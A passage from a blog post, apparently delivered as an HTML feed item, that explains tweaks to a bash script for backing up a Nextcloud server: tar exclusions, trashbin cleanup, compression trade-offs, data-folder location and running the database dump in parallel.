&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>EXCLUDE_PATTERN&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;--exclude=&amp;#39;&lt;/span>$NEXTCLOUD_DATA_DIR&lt;span style="color:#e6db74">/updater*&amp;#39; --exclude=&amp;#39;&lt;/span>$NEXTCLOUD_DATA_DIR&lt;span style="color:#e6db74">/*.log&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="cleanup-trashbin">Cleanup Trashbin&lt;/h3>
&lt;p>Another boost is the trashbin cleanup prior the backup. I did not include it in the script. But if you want to, you may add the following line between switching the maintenance mode on and creating the database dump:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo -u www-data php $NEXTCLOUD_DIR/occ trashbin:cleanup --all-users
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="backup-time-vs-disk-space">Backup Time vs. Disk Space&lt;/h3>
&lt;p>The script backs up without compression to keep the downtime as small as possible. If you don&amp;rsquo;t care about this and if you prefer small, compressed tarballs, you can activate the -j option (for bzip2) and of course add the file extension:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>tar $EXCLUDE_PATTERN -cvjpf &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$MOUNT_DIR&lt;span style="color:#e6db74">/&lt;/span>$DATE_PREFIX&lt;span style="color:#e6db74">-cloud.tar.bz2&amp;#34;&lt;/span> $NEXTCLOUD_DIR $THE_DUMP
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In my case compression is not economical, since the benefit is only 5% (2 GB) of additional disk space but at the cost of 4x longer downtime (2h instead of 30 min). Your mileage may vary and of course there are other compression methods besides bzip with different compression ratios.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/nextcloud-backup-tar-bzip.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/nextcloud-backup-tar-bzip.webp#c" alt="Screenshot shows difference in tarballs" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h3 id="wheres-the-data-folder">Where&amp;rsquo;s the /data folder?&lt;/h3>
&lt;p>The biggest benefit gains, not only in terms of security but also in terms of performance, is achieved by the correct location of the /data directory. This should be outside the Nextcloud folder if possible. Ideally on a different hard disk.&lt;/p>
&lt;p>The script assumes the Nextcloud installation defaults without a relocated /data directory. If you have put it somewhere else, then you should add an additional variable NEXTCLOUD_DATA_DIR:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Das Nextcloud /data Verzeichnis&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>NEXTCLOUD_DATA_DIR&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;/var/data&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The exception list must be modified too:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Exclude Dateien oder Ordner&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>EXCLUDE_PATTERN&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;--exclude=&amp;#39;&lt;/span>$NEXTCLOUD_DATA_DIR&lt;span style="color:#e6db74">/updater*&amp;#39; --exclude=&amp;#39;&lt;/span>$NEXTCLOUD_DATA_DIR&lt;span style="color:#e6db74">/*.log&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Finally, the line with the main tar command should look like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Alles in das Zielverzeichnis mit tar sichern&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tar $EXCLUDE_PATTERN -cvpf &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$MOUNT_DIR&lt;span style="color:#e6db74">/&lt;/span>$DATE_PREFIX&lt;span style="color:#e6db74">-cloud.tar&amp;#34;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$NEXTCLOUD_DIR&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$NEXTCLOUD_DATA_DIR&lt;span style="color:#e6db74">&amp;#34;&lt;/span> $THE_DUMP
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="parallelization">Parallelization&lt;/h3>
&lt;p>What&amp;rsquo;s the difference between&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>mysqldump $NEXTCLOUD_DB &amp;gt; $THE_DUMP
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>and&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>mysqldump $NEXTCLOUD_DB &amp;gt; $THE_DUMP &amp;amp;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Well normally, instructions in bash scripts are processed sequentially. The ampersand &amp;ldquo;&amp;amp;&amp;rdquo; at the end of the line means that the command is processed in the background and thus parallel to the next line(s) in the script. Depending on the size of the database, you may save a few minutes of runtime.&lt;/p>
&lt;p>But this can be done when it&amp;rsquo;s sure that the backup time of the database dump is finihed before tar tries to put it into the tarball. Under normal circumstances this should be the case, but I recommend to check this out in advance.&lt;/p>
&lt;h2 id="no-backup--no-mercy">No backup = no mercy&lt;/h2>
&lt;p>There is no mercy nor excuse for a lack of responsibility. Especially not if you share a Nextcloud with others. Even when talking about a private &amp;ldquo;family cloud&amp;rdquo;, it usually represents an important part of personal life, with all the pictures, conversations and shared data pool ranging from important documents to shared memories.&lt;/p>
&lt;p>This blog post proves: A complete and automated backup is no magic.&lt;/p>
&lt;p>Yours,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Tar(computing)">https://en.wikipedia.org/wiki/Tar(computing)&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/KISS_principle">https://en.wikipedia.org/wiki/KISS_principle&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Push-Model">https://de.wikipedia.org/wiki/Push-Model&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Pull-Model">https://de.wikipedia.org/wiki/Pull-Model&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item></channel></rss>